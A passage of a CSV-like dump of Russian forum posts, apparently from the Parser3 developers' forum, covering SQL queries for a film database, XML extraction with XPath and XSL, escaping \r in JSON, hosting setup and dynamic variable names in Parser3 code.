так как в этих строках [code]film_id,year,title_r,title_e, zhanr [/code]повторяются, то ты можешь просто вызвать их один раз не перебирая через меню\
\
[code]# выводим результат\
<tr id=line>\
<td>$films.title_r [$films.title_e]</td>\
<td>$films.year</td>\
<td>^films.menu{^if(def $films.rezhiser_name){${films.rezhiser_name}}}[, ]</td>\
<td>^rem{--аналогично с продюсером--}</td>\
<td>^rem{--аналогично со страной--}</td>\
</tr>[/code]\
с первого взгляда вроде бы так... можно по желанию группировку задать или сортировку под задачу\
\
только одно не понятно откуда у фильма столько продюсеров и стран? если их всего одна, то зачем вызов перебора всех записей таблицы?\
может тебе концепцию организации содержания лучше продумать?\
второе - если тебе не нужны для обработки  producer_id rezhiser_Id country_id то их вообще можно исключить из селекта и указать их только в where (но не ярлыки а самих их - pep.Id и т.д.)\
третье - жанр я вообще не увидел как реализовался. Он тебе нужен на странице?"
"69161","есть фильмы которые снимают сразу несколько режисеров, и тоже самое с продюсерами.\
\
Жанр у меня используеться но в другой странчке, здесь его код не привожу а то что он здесь выбираеться это просто забыл убрать..\
\
щас попробую по твоему методу.\
\
там вся организация данных в нескольких табличках, думаю она оптимальна, так как в ней не плодяться дубли актеров, продюссеров и режисеров.\
\
отельно таблица фильмов\
отельно таблица людей (в ней и актеры и продюссеры и ..)\
отдельно таблица жанров и так далее\
\
а уже в фильмах все это храниться как\
[code]-------films---------\
|id | zhanr | acter |\
---------------------\
|1  |  1,3  | 6,8,99|\
---------------------[/code]где данные цфиры это id соответсвующих таблиц\
например  \
select Id from zhanr where Id in (1,3)\
select Id from people where Id in (6,8,99)\
\
о"
"69162","producer_id, rezhiser_Id\
\
по аналогии можешь вбить актеров туда же в запрос\
\
ты сторй таблицы как тебе надо а запрос к базе данных на вывод этих данных должн быть один"
"69163","ну или хотя бы объясните что за $_FILES[\"Filedata\"]\
[code]	// Check the upload\
	if (!isset($_FILES[\"Filedata\"]) || !is_uploaded_file($_FILES[\"Filedata\"][\"tmp_name\"]) || $_FILES[\"Filedata\"][\"error\"] != 0) {\
		echo \"ERROR:invalid upload\";\
		exit(0);\
	}\
\
	// Get the image and create a thumbnail\
	$img = imagecreatefromjpeg($_FILES[\"Filedata\"][\"tmp_name\"]);\
	if (!$img) {\
		echo \"ERROR:could not create image handle \". $_FILES[\"Filedata\"][\"tmp_name\"];\
		exit(0);\
	}\
[/code]"
"69164","ваш код:\
[code]$produser[^table::sql{select Id, name from cg_people where Id in ('${films_year.produs}')}][/code]\
\
Наверное нужно так?:\
[code]$produser[^table::sql{select Id, name from cg_people where Id in ('^films_year.menu{$films_year.produs}[,]')}][/code]"
"69165","Разкоментировал и  заодно  еще  safe mode . Собрал  и  результат  такой же.\
установил  для парсера владельца  и  группу такуюже что  и для аппаче. Не  помогло. Ж("
"69167","нет не так!!\
$films_year.produs уже содержит список значение целиком в нем храниться строчка, а встрочке номера через запятую.\
\
так как вы говорите я пробовал раньше, но это ошибка, оно будет выводить в каждой записи одно и тоже и все разом"
"69168","Для того, чтобы «IN ()» достал ваши записи ему нужно передать их в виде «IN (1,2,3)», а не «IN ('1,2,3')», как получается у вас.\
\
Про названия полей я молчу, это полный п."
"69169","Для сложных случаев - http://www.parser.ru/docs/lang/formfiles.htm"
"69170","Есть xml-файл такой структуры\
\
[code]\
<a>\
  <b>\
  <c>текст</c>\
  <d>другой текст</d>\
  </b>\
</a>\
[/code]\
\
Можно ли извлечь парсером часть xml чтобы получить вот это:\
\
[code]\
  <c>текст</c>\
  <d>другой текст</d>\
[/code]"
"69172","Неясен термин «извлечение».\
\
Если нужно получить узлы для работы с ними — XPath запрос, http://www.parser.ru/docs/lang/xnodeselect.htm.\
Если же нужно получить XML в виде текста, то можно либо сгенерировать его, перебирая полученные select`ом узлы, либо XSL-трансформация, да."
"69173","если вы нормально работаете с xml, то скорее всего нужное вам действие нужно решать xsl-ем (делается элементарно)\
\
если же например, у вас есть текстовый файл, в котором содержатся подобные xml структуры, а вам нужно выдирать куски и вставлять их в ваш html, то вариантов два:\
\
1. создать из этого файла xdoc, получить нужную ноду с помощью dom или xpath и затем преобразовать её в текст (последнее преобразование можно подклядеть в Node.p)\
\
2. match. это будет работать быстрее и будет жрать меньше памяти, но гибкости в теле не будет и спать спокойно потом не сможете :)"
"69176","Помогите пожалуйста разобраться! Пытаюсь реализовать хранение графа (мат.объект) общего вида в бд. Таблица:\
[code]CREATE TABLE `graph` (\
  `_from` varchar(40) default NULL,\
  `_to` varchar(40) default NULL,\
  `connection` varchar(40) default NULL,\
  `dimension` varchar(40) default NULL,\
  `id` int(10) unsigned NOT NULL auto_increment,\
  PRIMARY KEY  (`id`),\
  UNIQUE KEY `unique_all` (`_from`,`_to`,`connection`,`dimension`)\
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=utf8[/code]\
\
Определяю метод для создания новой записи в классе graph:\
[code]\
@create[from;to;connection;dimension]\
$query[INSERT IGNORE INTO graph (_from,_to,connection,dimension) VALUES('$from','$to','$connection','$dimension')]\
^db{^void:sql{$query}}[/code]\
\
И вызываю:\
[code]$from[^math:uuid[]]\
$to[^math:uuid[]]\
$connection[^math:uuid[]]\
$dimension[^math:uuid[]]\
\
<p>Добавляю новый элемент графа (from - to - connection - dimension): $from - $to - $connection - $dimension\
\
^graph:create[$from;$to;$connection;$dimension]\
[/code]\
\
На странице выдаёт [b]Добавляю новый элемент графа (from - to - connection - dimension): EB5DB9FD-E2A8-4AF0-AB36-24B8370A244D - 8A26C4F4-0CCB-4B5D-B62D-F6D79C898F7A - 18E5926A-E647-427C-8170-A56023D9A297 - B16FA771-9AC5-41EE-B456-BE59E78D0423[/b]. \
\
А в бд почему-то 4(!) записи:\
[code]SELECT * FROM graph\
_from	_to	connection	dimension	id\
EB5DB9FD-E2A8-4AF0-AB36-24B8370A244D	8A26C4F4-0CCB-4B5D-B62D-F6D79C898F7A	18E5926A-E647-427C-8170-A56023D9A297	B16FA771-9AC5-41EE-B456-BE59E78D0423	1\
AA647E09-FB8E-4580-A4BB-05D91D43219D	F0FB3AD7-162C-43DE-A83E-328E8118685A	5328A592-49CB-4E93-848B-25FE4AF5361A	4AD30BE1-A5A4-420D-944F-D6A5E07868F0	2\
201F3A30-C6C0-42DB-93DA-842F89514B25	BB9AF75D-BD3B-4749-8D3B-693A61A30A57	0691143E-B611-4350-AC17-3207897BEE88	E63DC398-B154-4226-80C4-6A3F9D217520	3\
02F1E860-D6B4-416F-B572-25544BB9AAE0	2E29D031-5C06-43CA-BD2D-75D8043CD209	99D2649A-8D09-4B08-A466-D4CCA62FA5E3	779E3636-A1BE-4373-9FD4-8096347DA436	4[/code]\
\
Причём если руками выполнять INSERT, то запись только одна. А через Parser ещё три с неба валятся! Что у меня не так-то?"
"69177","... что происходит четыре разных вызова страницы (по крайней мере исходя из того кода, который Вы нам показали).\
\
p.s. Для выявления проблемы попробуйте перед graph:create очистить таблицу (delete from graph) и запросить страницу какими-нибудь wget'ом или curl'ом, которые точно покажут, что возвращает скрипт."
"69179","Временно закоментируйте IGNORE в запросе (/*IGNORE*/) и вызовите с фиксированным параметром:\
[code]^graph:create[555;$to;$connection;$dimension][/code]\
тут же увидите ошибку дублирования.\
\
Это явно несколько вызовов создания объекта."
"69180","прбовал все вариенты, если не трудно сделайте пример, у вас не получиться так как вы пишите. вот  таблицы\
\
\
[code]CREATE TABLE `cg_people` (\
  `Id` int(6) unsigned NOT NULL auto_increment,\
  `name` varchar(40) default NULL COMMENT 'ФИО',\
  `name_eng` varchar(40) default NULL,\
  `date_r` date default NULL COMMENT 'дата рождения',\
  `picture` tinyint(4) default NULL COMMENT 'ссылка на фото',\
  `mesto_r` varchar(100) default NULL COMMENT 'Место рождения',\
  `rost` varchar(4) default NULL COMMENT 'рост',\
  `sex` int(1) default NULL,\
  PRIMARY KEY  (`Id`)\
) ENGINE=MyISAM AUTO_INCREMENT=334 DEFAULT CHARSET=cp1251 COMMENT='знаменитости';\
\
\
\
------------------------\
CREATE TABLE `cg_country` (\
  `Id` int(6) unsigned NOT NULL auto_increment,\
  `a2_code` varchar(2) default NULL,\
  `a3_code` varchar(3) default NULL,\
  `name` varchar(250) default NULL,\
  `short_name` varchar(64) default NULL,\
  `eng_name` varchar(250) default NULL,\
  `eng_short_name` varchar(64) default NULL,\
  PRIMARY KEY  (`Id`)\
) ENGINE=MyISAM AUTO_INCREMENT=242 DEFAULT CHARSET=cp1251 COMMENT='справочник стран';\
--------------------------------------\
CREATE TABLE `films` (\
  `Id` int(6) unsigned NOT NULL auto_increment,\
  `god` year(4) default NULL COMMENT 'год выпуска',\
  `title_r` varchar(100) default NULL COMMENT 'наименование фильма по русски',\
  `title_e` varchar(100) default NULL COMMENT 'наименование фильма по оригиналу (инглишь)',\
  `zhanr` varchar(20) default NULL COMMENT 'Жанр фильма',\
  `strana` varchar(20) default NULL COMMENT 'Страна производитель',\
  `rezhiser` varchar(100) default NULL COMMENT 'режисер',\
  `produs` varchar(100) default NULL COMMENT 'Продюссер',\
  `operator` varchar(100) default NULL COMMENT 'Оператор',\
  `avtor_sc` varchar(100) default NULL COMMENT 'автор сценария',\
  `kompozitor` varchar(50) default NULL COMMENT 'композиторы',\
  `bujet` varchar(15) default NULL COMMENT 'бюджет',\
  `kino_comp` tinyint(4) default NULL COMMENT 'кинокомпания',\
  `time` int(4) default NULL COMMENT 'длительность фильма',\
  `imdb` varchar(100) default NULL COMMENT 'ссылка на imdb',\
  `role` varchar(250) default NULL COMMENT 'в ролях',\
  `body` text COMMENT 'описание фильма',\
  `picture` tinyint(4) default NULL COMMENT 'ссылка на картинки',\
  PRIMARY KEY  (`Id`)\
) ENGINE=MyISAM AUTO_INCREMENT=257 DEFAULT CHARSET=cp1251;\
\
----------------------------------------------[/code]"
"69181","Привет, коллеги. Извините за оффтопик, но я крайне срочно ищу себе замену на позицию веб-программиста/разработчика. \
Надо заниматься поддержкой и дальнейшим развитием сайта компании (сайт уже написан, но не до конца).\
Обязанности и требования:\
 - серверная часть: Parser3 + MySQL + 1 мелкий скрипт на Python'е. Сайт средней сложности (авторизация, админка, личный кабинет клиента и т.д. и т.п.)\
 - клиентская часть: html + css руками, JavaScript + jQuery, AJAX. Не очень сложные скрипты и верстка, но знать надо более-менее нормально.\
 - управление контентом на этом сайте (т.е. надо уметь обработать изображение в фотошопе)\
 - до кучи надо иметь представление об администрировании локальной сети windows (на уровне установить права на файл в сети, дать доступ в инет пользователю и т.д., простые офисные задачи ITшника, грубо говоря)\
\
Москва. Фулл-тайм с 10 до 19 в офисе, коллектив хороший, работа интересная.\
За подробностями: oswork@ya.ru"
"69182","Похоже вы правы: wget и Epiphany сохранили по одной записи. А Firefox, даже при всех выключенных расширениях и плагинах всё равно создаёт 4 записи."
"69184","Разве что, ужаса прибавилось.\
\
Простой код:\
[code]\
$produser[^table::sql{select Id, name from cg_people where Id in (1,3,5,7)}]\
^produser.count[], ^produser.menu{$produser.name}[, ]\
[/code]\
\
что выводит?\
\
Настоятельно советую вам почитать про нормализацию и отношения в базе данных.\
Она на то и реляционная, чтобы хранить отношения.\
Пихать сериализованные ID в текстовое поле — караул.\
\
Фиг с ней с красотой, но вы даже извлечь данные по запросам не сможете.\
Например, «достать все фильмы, которые продюссировал ID 5»."
"69185","По секрету скажу: около 30к рублей."
"69186","Умножайте на два и можно будет думать."
"69187","Некоторый сайт выдает информацию в xml.\
Мне нужно эту информацию обработать, но мне в данный момент нужна лишь часть, которую я извлекаю с помощью dom и xpath. \
А так как в будущем мне могут понадобиться остальные данные я решил сохранять в БД оригинальный xml, который я потом смогу достать и обработать.\
Я не знаю как отделить каждый узел updated-book вместе с содержимым.\
Вот пример xml-файла\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<fb-updates xmlns:l=\"http://www.w3.org/1999/xlink\" timestamp=\"2009-03-09 13:51:35\">\
<updated-book id=\"178806\" created=\"2009-03-09 12:43:45\" last_release=\"2009-03-09 12:43:45\" updated=\"2009-03-09 12:43:45\" valid_till=\"2012-04-22\" valid_from=\"2008-04-23\" size=\"1053962\" sent_by_name=\"roland\" sent_by_id=\"11\" must_import=\"0\" options=\"0\" price=\"16.34\" you_can_sell=\"0\" allow_read=\"0\" allow_sell=\"0\" show_preview=\"0\" allow_full_free=\"0\" public_domain=\"0\" contract_author=\"1\" subject_id=\"64211\" file_id=\"191164\" external_id=\"bf1a0a93-5d30-102c-bbfc-5025ca853da2\" cover=\"jpg\"> \
<title-info> <genre>sci_psychology</genre> <author><first-name>Снежана</first-name><last-name>Тихонова – Айыына</last-name><id>23732001-45ab-102c-b1cf-18f68bd48621</id></author><book-title>Успешные дети счастливых родителей</book-title> <annotation><p>Вы желаете своему ребенку здоровья, счастья и изобилия во всех сферах жизни? Стремитесь расширить его духовные горизонты? Хотите помочь ему реализовать потенциал, заложенный в него Творцом? Если на все эти вопросы вы ответили «да», если вы готовы к прогрессивным методам воспитания, то новая книга специалиста по позитивной психологии Снежаны Тихоновой – Айыыны – для вас!</p>\
<p>Вы узнаете, как просто и эффективно привить ребенку новое сознание, стремление к безграничному самосовершенствованию, любовь к себе и окружающему миру. Воспользуйтесь уникальными советами, изложенными в этой книге, и ваш ребенок обязательно вырастет успешным и уверенным в себе человеком.</p>\
</annotation><date>2008</date> <coverpage> <image href=\"#cover.jpg\"/></coverpage> <lang>ru</lang> </title-info> <document-info> <author> <first-name>Roland</first-name> <last-name/> </author> <program-used>FB Editor v2.0</program-used> <date value=\"2009-03-09\">09 March 2009</date> <src-url>http://www.litres.ru</src-url> <src-ocr>Текст предоставлен правообладателем</src-ocr> <id>bf1a0a93-5d30-102c-bbfc-5025ca853da2</id> <version>1.0</version> </document-info> <publish-info> <book-name>Успешные дети счастливых родителей</book-name> <publisher>Крылов</publisher> <city>Санкт-Петербург</city> <year>2008</year> <isbn>978-5-9717-0715-8</isbn> <sequence name=\"Фея Алмазной страны\"/> </publish-info> <in_genre id=\"125\" title=\"Психология\"/><text_annotation title=\"для продажи\" text=\"для продажи и он-лайн 9/03/2009 Roland - fb2 из издательской верстки (Крылов, doc+pdf)\"/></updated-book>\
<updated-book id=\"178685\" created=\"2009-03-08 21:19:47\" last_release=\"2009-03-08 21:19:47\" updated=\"2009-03-09 12:30:47\" valid_till=\"2009-04-10\" valid_from=\"2008-10-10\" size=\"151230\" sent_by_name=\"prussol\" sent_by_id=\"57084\" must_import=\"1\" options=\"67\" price=\"11.00\" you_can_sell=\"1\" allow_read=\"1\" allow_sell=\"2\" show_preview=\"0\" allow_full_free=\"0\" public_domain=\"0\" contract_author=\"0\" subject_id=\"64477\" file_id=\"191133\" external_id=\"6170ef8e-5ad3-102c-80c2-5025ca853da2\" cover=\"jpg\">\
<title-info> <genre>sci_juris</genre> <author><first-name>Олеся</first-name><middle-name>Викторовна</middle-name><last-name>Аблёзгова</last-name><id>d0552243-0390-102c-99a2-0288a49f2f10</id></author><author><first-name>Е.</first-name><middle-name>Е.</middle-name><last-name>Лукин</last-name><id>5e9afc2d-5ad3-102c-80c2-5025ca853da2</id></author><book-title>Шпаргалка по международному праву</book-title> <annotation><p>Все выучить – жизни не хватит, а экзамен сдать надо. Это готовая «шпора», написанная реальными преподами. Здесь найдешь все необходимое по Международному праву, а остальное – дело техники.</p>\
<p>Ни пуха, ни пера!</p>\
</annotation> <coverpage> <image href=\"cover.jpg\"/></coverpage> <lang>ru</lang> </title-info> <document-info> <author> <nickname>prussol</nickname> </author> <program-used>Book Designer 5.0, FB Editor v2.0</program-used> <date value=\"2009-03-08\">08.03.2009</date> <src-url>http://www.litres.ru</src-url> <src-ocr>Текст предоставлен правообладателем</src-ocr> <id>6170ef8e-5ad3-102c-80c2-5025ca853da2</id> <version>1.0</version> <history><p>V 1.0 by prussol</p>\
</history> <publisher><first-name/><last-name>Литагент «Юрайт»</last-name><id>d2f98f6a-59fa-102c-80c2-5025ca853da2</id></publisher></document-info> <publish-info> <book-name>Шпаргалка по международному праву : ответы на экзаменационные билеты. </book-name> <publisher>Аллель</publisher> <city>Москва</city> <year>2007</year> <isbn>978-5-9661-0390-3</isbn> </publish-info> <custom-info info-type=\"\">© Аблезгова О. В., Лукин Е. Е., 2005</custom-info> <in_genre id=\"210\" title=\"Юриспруденция\"/><text_annotation title=\"для продажи\" text=\"для продажи и он-лайн из pdf\"/></updated-book>\
 </fb-updates>\
[/code]"
"69189","У меня в базе данных лежат данные в виде:\
[code]\
<value>xxx</value>\\r\\n<value>...\
[/code]\
\
Использую класс по преобразованию данных из БД в JSON (который основывается на Мишином классе). В результате JSON получается не валидный, т.к. \\r не выводится в JSON как \\r, а наоборот выводится как перенос строки.\
\
Какие есть варианты?\
\
1) Удалить все в БД \"[b]\\r[/b]\".\
2) Либо делать проверку перед выводов в класс на наличие \"[b]\\r[/b]\",\
3) Или может подумать и добавить в taint поддержку преобразования в \\r, ведь в \\n нормально преобразовывается..."
"69190","Имхо, проще брать ВЕСЬ XML и формировать дамп для БД путем XSL трансформации. В дамп вносить только то, что нужно. Затем, дамп LOAD_DATA в БД.\
\
Если XML большой - то лучше написать SAX парсер чтобы его распарсить.\
\
Если же такое желание возиться с DOM'ом - то да, в XSL кусок выдернуть можно так:[code]<xsl:copy-of select=\"/path\" />[/code]\
В общем, дело вкуса =)"
"69191","только что получила ошибку : текст больше 30 килобайт"
"69192","мы считаем, что символу \\r в html-е не место.\
именно поэтому парсер, при считывании файлов в виндовой кодировке, удаляет эти символы (и добавляет их при записи).\
также он их удаляет при загрузке по http (если загрузка не в binary).\
\
соотв. вопрос в том, как у вас эти символы попали в БД? минуя парсер?\
\
\
ладно, как бы они туда ни попали, сейчас вопрос в том, что с ними делать.\
\
что должно быть с эскейпингом этих символов при выдаче их в js я сейчас не знаю, т.к. сам не сталкивался. нужно идти и читать доки. если этот символ разрешен и метод его эскейпинга определён -- очевидно, что упомянутый taint должен этот эспейпинг делать.\
\
удалять все \\r, в общем случае, нельзя, т.к. очень может быть, что какому-то js потребуется исходный текст, содержащий эти \\r.\
\
если вам этот символ не нужен, но он присутствует в БД, то возможно будет несложно создать дочерний класс, который будет перед вызовом методов базового класса удалять этот символ replace-ом."
"69194","К примеру, языков 2 - ru, en\
Есть 2 хешфайла с такими именами - для системных сообщений. \
И структура сайта, к примеру:\
/ru/\
/ru/about/\
/en/\
/en/about/\
/en/about/company/\
/en/about/history/\
\
У посетителя в куке записывается выбранный язык. \
При этом меню 1-го уровня нигде не выводится, кроме выбора языка. \
Со ссылками вида \"эта страница на другом языке\" - всё понятно.\
Но мы же с Вами понимаем, что у разноязычных версий сайта может быть разная заполненность. Поэтому скрипт на странице /en/about/company/ посмотрит наличие не только /ru/about/company, но и /ru/about/ и поскольку первой страницы нет, предложит вторую. А админу предложит создать первую."
"69195","то, что язык не содержится в URL-е -- плохо, т.к. получается, что две разные страницы (на разных языках) имеют одинаковый URL.\
\
например я захотел послать своему другу две ссылки: на русскую версию страницы about и на английскую. мои действия?\
\
но это ещё не самое плохое. самое плохое начинается когда приходит поисковый робот или приходят несколько посетителей из-за одного кеширующего proxy сервера..."
"69196","Язык содержится в урле, в самом его начале. Как на схеме.\
Кука нужна, чтобы перенаправлять при последующих заходах на главную или для системных сообщений, если не зарегистрирован. Во втором случае есть опция редактора: установить язык страницы."
"69197","в конструкторе у $.hAction добавилась опция $.bFakeFirst(true) с помощью которой можно запретить помещать первым валидный submit (раньше они мешались случайным образом, однако роботы всё таки чаще жмакают первую доступную кнопку).\
\
ну и кое что ещё по мелочи."
"69198","мелочи, можно не обновляться :)"
"69201","Приветствую.\
С MySQL до данного момента знаком не был. С таблицами в БД ничего не делал.\
Сейчас же хочу этим заморочится. Для начала решить продумать какие таблицы в БД у меня будут. Для примера решил использовать сайт imobilco.ru/music/\
Сверху там идет навигация, аля Музыка и Аудиокниги. Предполагаю, что эта навигация реализуется как написано в Уроке 1 по Парсеру. Не совсем понятно, как реализуется левое меню с жанрами. Это первое, что я прошу Вас объяснить мне.\
Затем, получается, что мне нужа одна таблица в БД, в которую будут заносится записи (альбомы и аудиокниги, если смотреть на аймобилко). Также дожна быть одна таблица с данными об администраторе, так?\
Затем, мне не совсем понятно, как реализуется сортировка по алфавитному каталогу (imobilco.ru/music/?sort=alphabet). Точнее не совсем сортировка от А до Я, а, например, есть у меня буквы. Тыкаем любую букву и открывается страница с альбомами, начинающимися с этой буквы.\
Пролейте, пожалуйста, луч света на эти темные для меня вопросы. Буду Вам очень благодарен."
"69202","поверьте, там всё не настолько просто, чтобы объяснить в паре параграфах."
"69203","Данные в БД попадают через MySQL Query Browser.\
\
Мне кажется было бы разумно в Парсере сделать замену \\r\\n на \\n для данных, доставаемых из БД. Либо просто в taint добавить escape данного символа."
"69204","К сожалению нет.\
Нужен именно фулл-тайм работник."
"69205","Ок. Тогда посоветуйте, пожалуйста, книгу, ибо их огромное разнообразие.\
Спасибо."
"69206","http://www.books.ru/shop/books/489736"
"69207","Сначала думал, что проблема в денвере, но перенес код на линух - результат тотже :(\
Перевел таблицы и поля в ср1251_general_ci - всё пучком! Но, имхо, криво :(\
Вопрос не по-адресу?\
Может ктонить подобное замечал?"
"69209","Насчет БД я понял. А что можете сказать про создание подразделов с жанрами (как на аймобилко)?"
"69211","Так вот, после прочтения книжки по SQL вы и поймете как организовать структуру БД под вашу задачу. \
\
На данном сайте я вижу слева меню жанров - это по сути метки (теги, ключевые слова), которые имеет каждый продукт. Логично предположить, что есть отдельная таблица с метками и таблица с продуктами. Каждая запись продукта имеет ссылку на метку (допустим keyword_id).\
\
Это в случае того, что продукт может иметь только одну метку. Если же нужно чтобы продукт мог содержать несколько меток - проще реализовать через таблицу связок (product_id <=> keyword_id). Тоесть дополнительная таблица в БД.\
\
При клике по метке происходит фильтрация базы продуктов и выводятся те, которые её содержат.\
\
На странице с товаром подсвечивается (selected=\"true\") метка данного товара в общем списке меток.\
\
P.S. В реальности может быть чуть иначе, но принцип, в любом случае, похож."
"69212","Уважаемые разработчики, и все те, кто помогает развивать проект!\
\
Хочу выразить благодарность за создание столь удобного и практичного интерпретатора!\
\
\
P.S.: Не знаю почему захотелось поблагодарить, наверное просто захотелось..."
"69214","Еще такая бадья с буквой \"И\""
"69217","http://www.google.ru/search?hl=ru&q=utf-8+%F8+%E8\
\
я когда столкнулся был крайне удивлен подобным..."
"69220","Люди подскажите, кто-нибудь ставил [b]parser[/b] на хостинг RU-CENTER? Если да, то какая последовательность действий? Какие нюансы?\
Заранее благодарен.) Дома на \"Денвере\" все работает, а тама не хочет ((("
"69221","[quote]какая последовательность действий?[/quote]\
http://www.parser.ru/download/\
Далее ваша хостинговая ось (скорее всего это будет фрюха, но лучше узнать у саппорта) и в колонке слева все расписано. \
\
[quote]на \"Денвере\" все работает, а тама не хочет[/quote]\
Что именно делали, по пунктам. Экстрасенсов тут нет(\
\
И не забываем про http://www.parser.ru/faq/install/\
\
P.S. О Гугль, мне нашел: http://forum.nic.ru/showthread.php?p=5017 - посмотрите - может ваш случай?\
(Не к тому, чтобы парсер в /docs/ положить, а к тому, что там советуют включить модули PERL и CGI в настройках Веб-сервера)."
"69222","[quote]Что именно делали, по пунктам. Экстрасенсов тут нет([/quote]\
ухх... уже и не помню что делал)))\
Сейчас вот получил информацию от вас и от саппорта руцентра.\
Спасибо огромное.\
Стираю в мозгах все старое, и буду заново разбираться, потом постараюсь по пунктам расписать установку по пунктам именно под хост ру-центра."
"69224","Всем спасибо за помощь!!!\
Я разобрался )))\
Вот ссылка для тех кто вдруг будет разбираться - http://skuznecov.ru/ustanovka/ustanovka_parser_rucenter.htm (будет жить пока хост будет проплачен)"
"69225","В вашем описании установки парcера, хендлером назначается: \
\
/cgi-bin/parser3.cgi\
\
А далее по тексту вы закачиваете парсер в \
\
/cgi-bin/[b]parser/[/b]"
"69226","Есть сайт полностью написанные на парсере. Форум для него хочу поставить стандартный какой нибудь на php. \
Вопрос: реально ли оставить шаблон страницы на парсере (хеадер, лефтменю, и т.д.) а контентную часть на php?"
"69227","... поскольку оно создаст ненужную нагрузку на сервер.\
\
Если бы Вы поискали по форуму, то без труда нашли бы [url=http://www.parser.ru/forum/?id=33412]известное решение своей проблемы[/url]. Но в случае с форумом это работает плохо, поскольку распространенные движки форумов (phpbb, ipb и пр.) используют большое количество различных переменных и кук, которые прийдется транслировать через Парсер - а это отнимет ресурсы сервера, да и ошибок наляпаете наверняка массу."
"69228","Доброе время суток ))\
\
Стоит вопрос динамического именования методов и ни как не могу избавиться от одного символа \"_\"\
\
[code]\
@main[]\
$s[testmethod]\
^_$s[]\
\
@_testmethod[]\
ok!!!\
[/code]\
\
Это вообще возможно?\
Заранее благодарю за помщь"
"69230","Да, Денисыч ты прав... ^) \
\
Спасибо, за проверку, а то кто-нибудь будет тыркаться поначалу и конечно не заметит этой ошибки. Вот и я где-то ошибся, поэтому и не выходил \"аленький цветочек\" ))) А теперь все работает.\
\
Исправил на [code][b]/cgi-bin/parser3/parser3.cgi[/b][/code]"
"69231","Хочу принять участие в проекте как проектировщик интерфейсов.\
\
Некоторые мои работы\
http://ashapiro.ru/design/\
\
Вот работы непосредственно по тематике CMS\
http://ashapiro.ru/design/pict/srp_webportal_admin_v1.4.png\
http://ashapiro.ru/design/pict/srp_webportal_admin_v1.4_page_edit.png\
\
Напишите мне на andrew # ashapiro « ru"
"69232","Имхо, стоит не результат php в страницу на парсере выводить, а наоборот: в шаблоны форума попытаться вставить обращение к тому, что парсером будет обрабатываться. \
\
Сам с этим не сталкивался, но точно знаю что в студии (по-мойму, Mp3 клуб для самсунга) делали форум phpBB и была там в шапке навигация как и на других \"парсерных\" страницах.\
\
Как они прикручивали это не знаю - но может поделятся знаниями;)"
"69234","Может чего не понимаю, начинающий..."
"69235","http://www.parser.ru/docs/lang/formfield.htm"
"69236","Спасибо! То что нужно!"
"69237","Возникла необходимость брать из конфига имена переменных, в именах переменных имеются точки в скрипте это хеши а из конфига я $[получаю.имена.переменных.с.точками]\
\
[code]# задаём переменную с точками, например хеш\
$h[\
    $.1[\
        $.2[hash]\
    ]\
]\
$[h.1.2][string]\
\
# задаём имя переменной в переменной (у меня они хранится в отдельном файлее, но сути это не меняет)\
$vName[h.1.2]\
\
# Пытаемся воспользоваться\
$vName=$$vName\
\
# получаем string а хочется hash[/code]\
\
Собственно вопрос: Как оживить точки и обратиться к ключу хэша?\
Заранее благодарю за помощь"
"69238","Вроде работает, но мне было бы приятно если кто-то знает как сделать правильно\
\
Спасибо )"
"69241","Это немного медленно\
\
[code]#!/home/opeg/bin/parser3/parser3.cgi\
@auto[]\
# задаём переменную с точками, например хеш\
$h[\
    $.1[\
	$.2[hash]\
    ]\
]\
$[h.1.2][string]\
\
# задаём имя переменной в переменной (у меня они хранится в отдельном файлее, но сути это не меняет)\
$vName[h.1.2]\
\
@main[]\
^for[iTest](0;10){\
    $console:line[$iTest]\
    ^rusageTest[]\
}\
$result[]\
\
\
@rusageTest[]\
$repeat(9999)\
# Пытаемся воспользоваться\
^rusage[]\
^for[C1](0;$repeat){}\
^rusage[Пустой for]\
^rusage[]\
^for[C1](0;$repeat){^process{^$$vName}}\
^rusage[process]\
^rusage[]\
^for[C2](0;$repeat){$$vName}\
^rusage[вывод динамически определяемой переменной]\
^rusage[]\
^for[C2](0;$repeat){$vName}\
^rusage[вывод переменной]\
\
$result[]\
\
\
@rusage[comment][v;prefix;message;line;sec;usec]\
$v[$status:rusage]\
^if(def $comment){\
    $usec(^v.tv_usec.double[])\
    $sec(^v.tv_sec.double[])\
\
    $sec($sec-$Gsec)\
    $usec($usec-$Gusec)\
    $t($sec+($usec/1000000))\
\
    $console:line[\"$t\"	\"$comment\"]\
}{\
    $Gusec(^v.tv_usec.double[])\
    $Gsec(^v.tv_sec.double[])\
}\
$result[][/code]\
\
Результат\
[quot]\
0\
\"0.00214\"	\"Пустой for\"\
\"0.178387\"	\"process\"\
\"0.02643\"	\"вывод динамически определяемой переменной\"\
\"0.034687\"	\"вывод переменной\"\
1\
\"0.002161\"	\"Пустой for\"\
\"0.179549\"	\"process\"\
\"0.027042\"	\"вывод динамически определяемой переменной\"\
\"0.016077\"	\"вывод переменной\"\
2\
\"0.002196\"	\"Пустой for\"\
\"0.175249\"	\"process\"\
\"0.027434\"	\"вывод динамически определяемой переменной\"\
\"0.013868\"	\"вывод переменной\"\
3\
\"0.004596\"	\"Пустой for\"\
\"0.198447\"	\"process\"\
\"0.025833\"	\"вывод динамически определяемой переменной\"\
\"0.033734\"	\"вывод переменной\"\
4\
\"0.002221\"	\"Пустой for\"\
\"0.16833\"	\"process\"\
\"0.0556\"	\"вывод динамически определяемой переменной\"\
\"0.012468\"	\"вывод переменной\"\
5\
\"0.002239\"	\"Пустой for\"\
\"0.189377\"	\"process\"\
\"0.025129\"	\"вывод динамически определяемой переменной\"\
\"0.032214\"	\"вывод переменной\"\
6\
\"0.002471\"	\"Пустой for\"\
\"0.170778\"	\"process\"\
\"0.026735\"	\"вывод динамически определяемой переменной\"\
\"0.032987\"	\"вывод переменной\"\
7\
\"0.002529\"	\"Пустой for\"\
\"0.163835\"	\"process\"\
\"0.027047\"	\"вывод динамически определяемой переменной\"\
\"0.032023\"	\"вывод переменной\"\
8\
\"0.002157\"	\"Пустой for\"\
\"0.167592\"	\"process\"\
\"0.025134\"	\"вывод динамически определяемой переменной\"\
\"0.033125\"	\"вывод переменной\"\
9\
\"0.002357\"	\"Пустой for\"\
\"0.160895\"	\"process\"\
\"0.025481\"	\"вывод динамически определяемой переменной\"\
\"0.035589\"	\"вывод переменной\"\
10\
\"0.002206\"	\"Пустой for\"\
\"0.163478\"	\"process\"\
\"0.042\"	\"вывод динамически определяемой переменной\"\
\"0.012118\"	\"вывод переменной\"\
[/quot]"
